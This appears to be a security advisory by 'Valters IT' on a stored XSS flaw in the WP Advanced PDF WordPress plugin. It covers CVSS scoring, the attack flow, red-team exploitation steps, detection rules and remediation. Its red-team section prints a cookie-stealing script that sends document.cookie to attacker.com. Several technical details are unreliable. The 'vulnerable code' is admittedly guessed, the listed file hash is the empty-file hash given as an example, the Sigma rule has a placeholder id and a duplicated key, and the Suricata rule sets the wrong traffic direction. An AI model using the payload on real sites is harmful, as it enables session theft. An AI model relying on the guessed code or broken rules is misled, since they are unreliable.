CVE-2025-57945

Executive Summary

CVE-2025-57945 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cedcommerce WP Advanced PDF plugin for WordPress, affecting versions up to and including 1.1.7. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the WordPress database. When an administrator or other user views the affected page (e.g., the PDF generation interface or a generated PDF preview), the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is classified as a WordPress ecosystem issue and is not related to Apache or Nginx. The plugin fails to properly sanitize user-supplied input before storing it in the database, and subsequently fails to escape the output when rendering the page.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate, as the plugin is maintained by a third-party vendor (Cedcommerce) and the patch status is currently unknown. Users should verify the integrity of the plugin files and monitor for updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user with contributor-level access or higher.
• User Interaction: Required (UI:R) – the victim must click on or view the malicious content.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin can lead to significant downstream attacks, including privilege escalation and site takeover.

Deep Dive & Mechanics

The vulnerability resides in the wp-advanced-pdf plugin's handling of user input when creating or editing PDF templates. The plugin likely uses add_option() or update_option() to store template data, or stores it in a custom post type. The input is not sanitized using WordPress functions like sanitize_text_field() or wp_kses_post(), and the output is not escaped using esc_html() or wp_kses() before being rendered in the admin dashboard or frontend.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker navigates to the WP Advanced PDF settings or template editor.
3. The attacker injects a malicious JavaScript payload into a text field (e.g., template name, description, or custom CSS/JS field).
4. The plugin stores the unsanitized payload in the database.
5. When an administrator or other user views the affected page (e.g., the PDF template list or preview), the payload executes.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (wp-advanced-pdf <= 1.1.7):

// In admin/settings.php or similar
$template_name = $_POST['template_name'];
update_option('wp_advanced_pdf_template_name', $template_name);
// Later, when rendering:
echo '<h2>' . get_option('wp_advanced_pdf_template_name') . '</h2>';

Patched Code (Hypothetical):

// Sanitize input
$template_name = sanitize_text_field($_POST['template_name']);
update_option('wp_advanced_pdf_template_name', $template_name);
// Escape output
echo '<h2>' . esc_html(get_option('wp_advanced_pdf_template_name')) . '</h2>';

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with WP Advanced PDF plugin version <= 1.1.7 installed and activated.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to WP Advanced PDF > Settings (or similar).
3. In the "Template Name" field, enter the following payload:

   <script>alert('XSS')</script>
   

4. Click "Save Changes".
5. Log in as an administrator and navigate to the same settings page.
6. The JavaScript payload executes, displaying an alert box.

Advanced Payload (Cookie Stealing):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin activity logs for suspicious changes to WP Advanced PDF settings.
2. Look for unusual HTTP requests to the plugin's admin pages containing script tags or event handlers.
3. Review database entries in the wp_options table for the wp_advanced_pdf_* options containing JavaScript.

Mitigation Steps:

1. Immediately disable the WP Advanced PDF plugin if no patch is available.
2. Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests to /wp-admin/admin-post.php or similar.
3. Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • wp-advanced-pdf.php (v1.1.7): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual hash)
• Database Entries:
  • wp_options table entries containing wp_advanced_pdf_ with embedded <script> tags.
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Log Entries:
  • WordPress debug log entries showing wp_advanced_pdf related errors or warnings.

Detection Engineering

YARA Rule

rule CVE_2025_57945_WP_Advanced_PDF_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Advanced PDF plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57945"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "wp_advanced_pdf_"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Stored XSS in WP Advanced PDF Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in WP Advanced PDF plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-post.php'
        http.body: '*wp_advanced_pdf*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in template fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57945 WP Advanced PDF Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"wp_advanced_pdf"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and sanitize all existing wp_advanced_pdf_* options in the database.
3. Change all WordPress admin passwords if exploitation is suspected.

Long-Term Fixes:

1. Apply input sanitization using sanitize_text_field() or wp_kses_post().
2. Escape output using esc_html() or wp_kses().
3. Implement nonce verification on all admin POST requests.
4. Use WordPress coding standards and perform regular security audits.

Vendor Contact: Cedcommerce has not yet released a patch. Monitor the WordPress plugin repository for updates.

Valters IT